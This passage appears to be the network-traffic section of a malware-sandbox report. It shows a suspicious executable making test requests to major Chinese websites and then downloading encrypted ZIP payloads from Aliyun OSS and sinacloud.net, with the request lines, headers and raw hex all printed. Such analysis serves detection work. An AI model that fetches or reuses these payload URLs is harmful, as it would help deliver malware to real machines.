Aug 5, 2024 12:00:39.592370987 CEST	1236	IN	Data Raw: e4 1d 12 b3 56 5a 74 86 01 1c 9d 65 4a be 28 c8 5a 46 81 5f 8b 2e a0 40 9a df 9a cc 82 74 40 a9 50 c0 34 b0 41 84 c5 92 20 1f e5 7e 31 8c 9f 88 29 e0 ff 7a 17 80 27 ad a2 4d 80 87 fa b3 10 b5 48 b0 11 1b fc b8 6e 7c 79 eb 57 e6 50 30 0d 17 23 70 Data Ascii: VZteJ(ZF_.@t@P4A ~1)z'MHn\|yWP0#p\1#<StU^d24An%XErm:&':_#9]CI;558t4dT>^D~?O!wFa[P'8Q:x>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49777	47.94.225.221	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.610538960 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jmw.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:40.190290928 CEST	367	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.0 Date: Mon, 05 Aug 2024 10:00:40 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.jmw.com.cn/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.26.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49778	113.219.142.35	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.611634970 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.cdstm.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:40.225816965 CEST	464	IN	HTTP/1.1 302 Moved Temporarily Server: JSP3/2.0.14 Date: Mon, 05 Aug 2024 10:00:40 GMT Content-Type: text/html Content-Length: 144 Connection: keep-alive Location: https://www.cdstm.cn/ X-Cache-Status: MISS Strict-Transport-Security: max-age=63072000;includeSubdomains;preload Access-Control-Allow-Origin: * Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4a 53 50 33 2f 32 2e 30 2e 31 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>JSP3/2.0.14</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49779	163.181.201.238	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.628042936 CEST	223	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.eastmoney.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:39.551206112 CEST	546	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Mon, 05 Aug 2024 10:00:39 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://www.eastmoney.com/ Via: ens-cache18.sg25[,0] Timing-Allow-Origin: * EagleId: a3b5c9a617228520393897730e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49780	43.159.119.252	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.629920006 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.tencent.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:39.083070993 CEST	195	IN	HTTP/1.1 302 Found Location: https://www.tencent.com/ Content-Length: 0 Connection: keep-alive Server: EdgeOne_SS_OC Date: Mon, 05 Aug 2024 10:00:38 GMT EO-LOG-UUID: 2153272889081889742

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49781	163.171.208.133	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.632066965 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.cctv.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:39.558455944 CEST	521	IN	HTTP/1.1 302 Moved Temporarily Date: Mon, 05 Aug 2024 10:00:39 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: keep-alive Server: Cdn Cache Server V2.0 Location: https://www.cctv.com/ X-Via: 1.0 PSxjpSin5ij130:8 (Cdn Cache Server V2.0) X-Ws-Request-Id: 66b0a2c7_PSxjpSin5df135_13881-46264 Set-Cookie: HMF_CI=4f1a8c9f8bc4bab9ed7a4daa06da65fc1ac420e05cd336ce5754cedfb715fe64be44eb624634d27f2828f8ec6ed4aa80d9fd560bd2668b5a3299e13e65b868f297; Expires=Wed, 04-Sep-24 10:00:39 GMT; Path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49782	45.194.34.247	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.789351940 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jb51.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:39.351023912 CEST	260	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: /GE/CC/VALIDATOR?key=38b1b558e1bd3c303917a923241bb25f.534281f06420eee84119a729734a1ebc.1722852039&url=http%3A%2F%2Fwww.jb51.net%2F Date: Mon, 05 Aug 2024 10:00:39 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49783	47.254.187.186	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:39.385734081 CEST	261	OUT	GET /2024-08-05/17_57 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: guangzhoucs.oss-accelerate.aliyuncs.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:40.776561975 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: AliyunOSS Date: Mon, 05 Aug 2024 10:00:40 GMT Content-Type: application/octet-stream Content-Length: 1565 Connection: keep-alive x-oss-request-id: 66B0A2C85BC3D20864E7864E Content-Range: bytes 0-1564/1565 Accept-Ranges: bytes ETag: "9ABAC071C0B58556F95C6F92C5C9C28C" Last-Modified: Mon, 05 Aug 2024 09:57:59 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 16292424176455077522 x-oss-storage-class: Standard Content-MD5: mrrAccC1hVb5XG+SxcnCjA== x-oss-server-time: 3 Data Raw: 50 4b 03 04 14 00 01 00 08 00 a1 5d 05 59 d0 59 19 20 b3 05 00 00 74 13 00 00 04 00 00 00 63 6c 73 74 50 b7 99 b4 d5 d4 f8 5f 82 4b 39 db 03 06 b3 60 94 8c 6b 3b b4 fe b3 7d 4e aa c4 eb aa 1b 8d 70 91 9f f9 94 9a 38 05 0a 11 53 60 e9 48 4e 50 36 80 3f da 2d 46 64 2d 61 16 84 14 28 7a 69 88 9c cc d5 3f 31 0f 30 2a 52 e3 31 5b e5 0c f3 19 e0 49 7c 33 e3 20 ba c0 b5 f0 9e 98 82 96 15 c5 69 54 15 5f a3 2e 17 da e3 a0 a9 ee 6f 61 f8 f0 a7 d7 67 cf 3d e1 33 36 00 18 f3 3c 42 e4 25 df a1 df 22 1a 9d 73 2c cb e0 69 77 81 83 64 c3 92 4d 58 85 21 e1 30 46 96 a4 8c 5a cd a2 e2 d7 55 e7 c7 ba 94 b1 7f dc f5 a2 17 10 b2 7f cd 17 84 5c 04 86 a3 71 93 06 ce d5 79 46 51 67 11 2d 7f d2 01 40 d6 05 15 e8 b2 fb 69 90 e6 94 46 70 4a bc f6 82 62 df 44 9f 9f 8c f9 73 20 08 b0 0a 4d da 12 32 b8 a7 66 48 7f 8d 37 c9 8b f6 ff 77 31 e1 9d a4 df 92 b6 63 4e a2 fe 64 61 d4 c0 eb 7a 10 11 1d b3 7a 8a cb 07 47 9e 03 d2 64 cf cc ea f6 d4 42 a4 79 6e 25 43 ed 8f ae 79 01 78 99 44 44 48 ab 78 4c 1a e5 a4 9c 69 93 e7 7e 1a 67 f9 86 [TRUNCATED] Data Ascii: PK]YY tclstP_K9`k;}Np8S`HNP6?-Fd-a(zi?10R1[I\|3 iT_.oag=36<B%"s,iwdMX!0FZU\qyFQg-@iFpJbDs M2fH7w1cNdazzGdByn%CyxDDHxLi~gpugMgYfx3%Cx+0z(jXZUN?k\|]>GSJED {QEb)u<z7(S`)YKQgnCV0r&$nTD8Oj1IO.Rc)"V2}qDAw(?wcu)K"\|O1=5r}rIic5rjuLCYz4U\62nRE-8RIMpS.l9@=I_vT8oo
Aug 5, 2024 12:00:40.776581049 CEST	854	IN	Data Raw: 4b 33 ab 0b e4 24 54 e7 69 4b 39 7b 41 94 52 ae 70 91 03 0c ec 84 a1 67 32 cd d0 d1 d8 9b f0 c6 0d 21 f0 dd e8 1b b9 0b f9 55 37 1d 11 b3 4f e3 9a 01 c2 8d ce cc e7 60 83 f9 ff bf 0a 94 19 35 5f 80 29 a0 7d 42 53 da f1 b2 64 72 68 81 1b d7 ce 5e Data Ascii: K3$TiK9{ARpg2!U7O`5_)}BSdrh^w\|hj%:<+wBpHDXjIrk4n,mK~r8^yM :2f_D bI,g<$@utg<7[Y#y'g9i{bXvM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49784	43.152.143.134	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:39.385936975 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.hupu.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:40.300133944 CEST	227	IN	HTTP/1.1 302 Found Location: https://www.hupu.com/ Content-Length: 0 X-NWS-LOG-UUID: 15610137953393372463 Connection: keep-alive Server: Lego Server Date: Mon, 05 Aug 2024 10:00:40 GMT X-Cache-Lookup: Return Directly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49785	43.159.71.118	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:39.529607058 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.zhihu.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:40.294421911 CEST	274	IN	HTTP/1.1 302 Found Location: https://www.zhihu.com/ Content-Length: 0 X-NWS-LOG-UUID: 16690465538407711826 Connection: keep-alive Server: OverSea_E0 Date: Mon, 05 Aug 2024 10:00:40 GMT X-Cache-Lookup: Return Directly x-edge-timing: 0.001 x-cdn-provider: tencent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49786	221.204.61.35	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:39.570213079 CEST	225	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.autohome.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:40.648430109 CEST	368	IN	HTTP/1.1 302 Moved Temporarily Server: JSP3/2.0.14 Date: Mon, 05 Aug 2024 10:00:40 GMT Content-Type: text/html Content-Length: 144 Connection: keep-alive Location: https://www.autohome.com.cn/ X-Cache-Status: MISS Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4a 53 50 33 2f 32 2e 30 2e 31 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>JSP3/2.0.14</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49796	27.221.16.149	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:41.138524055 CEST	232	OUT	GET /operate/18771 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:45.336908102 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 10:00:42 GMT Content-Type: application/octet-stream Content-Length: 344118 Connection: keep-alive X-RequestId: fee82d3b-2408-0518-0045-28dee5e81b94 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Thu, 01 Aug 2024 08:27:46 GMT X-Filesize: 344118 ETag: "15e5aaedf5470eb1c8c76bd13d3ce1aa" x-amz-meta-crc32: 670F00D0 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-344117/344118 Data Raw: 50 4b 03 04 14 00 01 00 08 00 16 83 01 59 b0 e5 a2 38 c2 3f 05 00 00 8e 05 00 09 00 00 00 31 38 37 37 31 2e 72 61 72 ba 9a d9 45 73 c6 b1 46 99 81 e4 56 02 16 45 de 1a 29 b1 23 07 9c 63 42 b1 06 88 56 01 85 77 b3 46 e2 fd e1 3f ef f4 39 4c 63 e1 05 a1 6a 51 bc c2 3d 5b da c3 95 5c 82 62 4c 48 f0 31 84 62 88 62 ff 20 2c ab 75 62 76 43 3d 71 9e ef 54 42 74 e3 10 f1 b4 0d b1 65 cf bb 34 9a ac f0 2e 8d 81 18 8b d5 75 7e 68 82 66 88 e3 3b 82 1f c5 4a 97 74 5b 18 c6 ce f0 b4 43 57 d1 6b 4d 97 63 ec 6d 15 29 27 84 53 1d 80 eb 06 cd 18 b3 6f b8 ed 63 7d 58 92 6c 82 31 6b bd 86 c9 65 fa 63 52 ca fd c7 cc 47 02 98 5c c6 bc a6 97 a4 78 54 0e 5e 2d 9e 63 8f 75 62 e1 68 2d eb 29 43 f3 f6 86 49 a1 db 4f 64 b7 e7 09 42 bf 0e 99 d9 06 f0 2e 63 26 05 68 31 a4 56 e5 90 56 f3 04 4b 69 1a 32 ed 2a 85 7e ad 6c d7 b4 d0 fa 07 55 af 5b 27 e9 03 a4 4c 66 a9 a0 a3 fd 77 47 79 1a a9 1f 95 b7 47 5a 28 a7 b7 58 46 bc d2 f8 90 57 7b f6 bf 05 8d 60 25 a7 95 eb 8e a2 ab a7 64 5d a2 3d f4 03 94 75 75 6a d2 69 e2 b5 e4 50 92 d4 b5 [TRUNCATED] Data Ascii: PKY8?18771.rarEsFVE)#cBVwF?9LcjQ=[\bLH1bb ,ubvC=qTBte4.u~hf;Jt[CWkMcm)'Soc}Xl1kecRG\xT^-cubh-)CIOdB.c&h1VVKi2~lU['LfwGyGZ(XFW{`%d]=uujiPWgp([XW<g"n9(WLcc<1l3`jJ+SwekSi1Zij!5d\(6,7]TUwPJzPAWHUubE#mR}{7.$.>~VU<w
Aug 5, 2024 12:00:45.336936951 CEST	1236	IN	Data Raw: 37 ec f3 88 32 ee 51 10 e6 29 49 1d e5 be c6 e1 e1 d6 48 99 95 f0 6f 38 33 79 fd d9 2c ef cf 4e e2 3b bc 31 5f ff 55 1f 10 ae 38 1c ef 46 b1 1d db 48 ef 06 f6 3c 4a 6c 32 0d 82 ff bf 06 2d b9 91 c3 9e 7e 1d 29 9b 97 86 10 e8 50 96 fb 70 a7 b9 af Data Ascii: 72Q)IHo83y,N;1_U8FH<Jl2-~)Pp,g`5)Db4L/B&FhOF@8)":2$Xpt+cbzK(:0_9>u, p>Bq*8Tb^DFwP+1EV
Aug 5, 2024 12:00:45.336949110 CEST	1236	IN	Data Raw: a8 79 51 33 e0 f8 29 1e ab 2d 69 45 0d 6a a7 54 74 85 b5 9c d5 d0 ab 83 88 ec a9 f4 2f 60 ce d1 e1 5d 70 b9 3d a4 6f 63 54 e3 ef 8f b6 82 9b 93 02 db 38 60 82 1b a7 1d a8 b9 56 35 88 8d 6f b8 2d 17 ae 8f 85 7e ef fd 9e 57 aa 3b b2 6b 9b 44 85 a9 Data Ascii: yQ3)-iEjTt/`]p=ocT8`V5o-~W;kD?^yb^+4'pAOBC1sWBb\vAhu'{jv(OxNy>]'b=<[idN$v7H~jGS7gd0\5QC6q!oH
Aug 5, 2024 12:00:45.336961031 CEST	1236	IN	Data Raw: 43 32 32 54 75 e6 c6 9d 57 01 28 52 f5 00 f1 53 10 ad 76 1c a1 ac 1e f5 1e 32 59 8b 3e 2c 3d 8e a6 4f 60 ea 1b dd e1 f5 d3 cd 50 d3 36 c8 e8 16 8f 61 f8 d0 8c 65 40 a7 99 9c 07 ee 26 27 e8 7d 32 18 3f 98 e8 b3 eb 06 ae f5 4b c7 cb cc 74 81 90 4b Data Ascii: C22TuW(RSv2Y>,=O`P6ae@&'}2?KtK@ve#AN=}wA;O,,C9 QD0_yI7'AL)qxEEx?4BhB3(NW88:@U%-]cgL]W{5HrcC:0Ztx
Aug 5, 2024 12:00:45.336991072 CEST	1236	IN	Data Raw: b7 81 80 f9 c0 8f 96 cd 09 ae aa 73 33 81 02 d2 38 81 92 e8 84 b6 96 98 d2 ad 80 aa 84 04 87 b7 3e 27 06 3c 9f 67 57 d2 4b b5 03 ae e4 ea 0b 9e bf c8 26 d6 18 a5 f4 87 e6 64 b3 62 69 2e ff 41 68 28 e8 fd cf c0 27 49 33 bb b6 83 4a 32 60 29 98 70 Data Ascii: s38>'<gWK&dbi.Ah('I3J2`)pOECN6?v,k(QJD_`,IO$0L@!iOD>9plv4iw-EG.w0['I1y(^O+^jH=
Aug 5, 2024 12:00:45.337002993 CEST	1236	IN	Data Raw: 2f 00 52 24 9f f2 44 41 a7 bc c5 3d af 46 aa ae 72 2b 02 ad 00 7b 80 54 de e7 18 10 e5 f3 ff b5 1d 12 21 31 c4 a5 a4 b7 27 4a 41 1a ae a1 95 dd c8 a9 2e a7 62 1c cc 0b 17 2a 70 1a 76 26 40 38 10 59 f4 d3 2a 29 cc 48 51 7e d2 b0 74 e7 54 80 88 7b Data Ascii: /R$DA=Fr+{T!1'JA.bpv&@8Y)HQ~tT{T}K)}W632'OB?e}c<^.O ;Q"Vt]~BLw{Pd$[-GVy%Y%Frt_{&!eT
Aug 5, 2024 12:00:45.337013006 CEST	1013	IN	Data Raw: d5 e8 08 13 58 14 23 6f a7 96 d4 4c ce e1 7e b1 5b a5 ec 49 d0 e8 f3 6c 16 7b 28 51 ce 79 7d 9a 1e 3e 4e fb 5d 7d 7e 00 2f 1d a9 b0 1e 5d c1 10 28 af d3 72 3d 83 e6 e4 f2 32 13 0f e8 00 c1 0b d7 5f 12 aa 11 bd d0 ae 7f 8e 4d b6 8a 4c c3 43 1e 30 Data Ascii: X#oL~[Il{(Qy}>N]}~/](r=2_MLC0@IO<q3;pq}C}Q_\N;?*_P"9\|nd3e&Ry)AL8'ef?eu}L=J<"Ed\|Bf}b!8nj/uB6^s=zT'"]
Aug 5, 2024 12:00:45.337027073 CEST	1236	IN	Data Raw: e8 9f d3 c4 ce a0 ed 93 a6 8c ba d5 7f b1 b7 df 6d 8f c4 b4 a1 cc e3 49 3b 06 f9 f1 7d 39 47 b3 ce 80 61 45 66 f8 1b 80 4d 42 1c 3b da c6 88 2a 68 7c 31 dc 37 e0 93 0d d1 0a e0 3f 2a 28 92 a4 e9 d1 8c 0a 6d 71 db 7c 91 20 28 cc 1b 2a 69 fb 26 9c Data Ascii: mI;}9GaEfMB;h\|17?(mq\| (*i&).8y.rRmBz"Xvd3f5}V /9^1^p+~-zBy:"k5.L\8J/Z.FNR_$tleqb>F
Aug 5, 2024 12:00:45.337044001 CEST	1236	IN	Data Raw: 4d 4a 21 a9 d5 66 3c c8 6c 4a 55 58 58 86 51 22 a5 f2 40 4a f3 a5 a3 db 18 ef 92 f9 57 80 da bf 85 af 0d 9d 33 25 75 2b d0 65 f9 02 67 39 9e 46 d1 12 88 83 b0 60 6f d0 ed ff 24 ec d7 df db 03 fa a3 df 79 33 d7 83 b6 ca 36 cd 0f 9f 7c 21 92 76 c0 Data Ascii: MJ!f<lJUXXQ"@JW3%u+eg9F`o$y36\|!vudtH]\|+0W,86mrJ>u c^(+/ZJm3;LRhKk_X^ak%E5KYt'-BkFm6L$!
Aug 5, 2024 12:00:45.337057114 CEST	1236	IN	Data Raw: 70 9a 34 5f 01 20 b9 8d 9a 89 74 93 ca d8 a0 7e 9d dc 9b cd 21 48 47 19 0c 09 5e 68 45 72 6b b2 3f 32 33 10 0f 80 f6 4a 7a e7 a6 40 65 4a 48 90 cb 32 a5 60 76 87 1f ba 12 ee 68 d2 61 8d df 0a 2d ec 8e c5 91 a9 6f e3 05 82 44 ab 4a 42 50 84 89 9d Data Ascii: p4_ t~!HG^hErk?23Jz@eJH2`vha-oDJBPuZVWXxbX8Q?b77sr+Z9BPGEvC$&^DRUl`\-...ENTurd=MUI}1z."E=[W28{.R(~o[v;j9/8
Aug 5, 2024 12:00:45.341813087 CEST	1236	IN	Data Raw: 61 1e 1b 91 e6 30 4c 23 25 05 77 56 1f 1d 15 50 b0 b3 59 f7 e3 74 cd 93 d9 2c a9 f4 81 ee 1d 6e 24 3c 63 db 64 71 92 e5 a5 20 91 c6 29 a3 60 31 af 0e 34 8e a8 b5 cc ab a6 0e a7 3c 7e 5b 91 5f 8e a4 f4 b8 dd f3 b8 0f df 6f 53 c8 82 aa d5 0d bc be Data Ascii: a0L#%wVPYt,n$<cdq )`14<~[_oSI0zAP"LbhIKD:YW/X3a#ndY2Lw+,9i;1tvy#$0]y{I/cmp0e?v\s)G+:4Ca&A/=-0}fE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49837	27.221.16.179	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:49.880858898 CEST	232	OUT	GET /operate/22745 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:50.989778996 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 10:00:51 GMT Content-Type: application/octet-stream Content-Length: 599644 Connection: keep-alive X-RequestId: 30625eed-2408-0518-0050-6c92bfce68e1 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Sun, 29 Jan 2023 13:38:11 GMT X-Filesize: 599644 ETag: "54f73820ea0a785d2c606610dde81484" x-amz-meta-crc32: 0808E7F0 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-599643/599644 Data Raw: 50 4b 03 04 14 00 01 00 08 00 90 ab 3d 56 b1 d0 14 4f e8 25 09 00 00 0e 13 00 09 00 00 00 32 32 37 34 35 2e 72 61 72 60 bf ce ba 38 a9 ac b0 3c 3b 3e 2f d0 e2 bb 81 d6 6d c0 a4 a6 3d ac ed 22 45 af 59 71 37 01 75 0e 7b a8 95 a4 4b 51 68 fe 90 b4 81 7f f3 48 1c 98 98 a9 9b 56 26 63 6c ab 5e 6b d6 cf b7 db f2 48 60 e3 5a 40 3d 54 02 27 64 56 74 c0 c2 29 40 93 95 c1 f7 a3 8b ab b5 21 8b 45 dc 65 bc 00 72 94 a4 7e c8 d1 8a f8 4f 7c 6f 45 fb 06 15 21 09 61 78 49 2e 14 00 cd 44 b0 ad 1d 03 6e 21 78 01 c6 dd f6 9d c4 70 f7 bc 64 f9 4e 8c 5c b4 66 ae 3a f3 12 f3 9a 27 8b 66 c8 76 36 99 8c 68 42 a0 9d f9 9e fa d4 e3 9f 7e 97 7d 67 36 0d e3 06 dd 42 83 33 4b aa ea e8 5a cb 64 f5 a8 20 79 43 cb e2 8d 9e bb 1b 50 86 28 b7 f2 fb ef b9 c0 fc 4c b9 d3 f6 7f 79 04 44 04 ec 9b a3 ff 01 27 54 12 33 cf c7 df 62 f8 c0 77 63 d4 56 81 70 75 b4 d9 34 01 58 be dd 94 77 52 af a6 9d 60 6a a8 7b 57 36 2b 54 5c 65 49 ab 37 d0 2a c4 19 38 b4 7e f0 d9 0d 7d 51 b6 c0 0b f8 21 68 2c b0 cf 66 a5 e0 05 c7 3b 59 2e dd a5 5e 1c 95 db [TRUNCATED] Data Ascii: 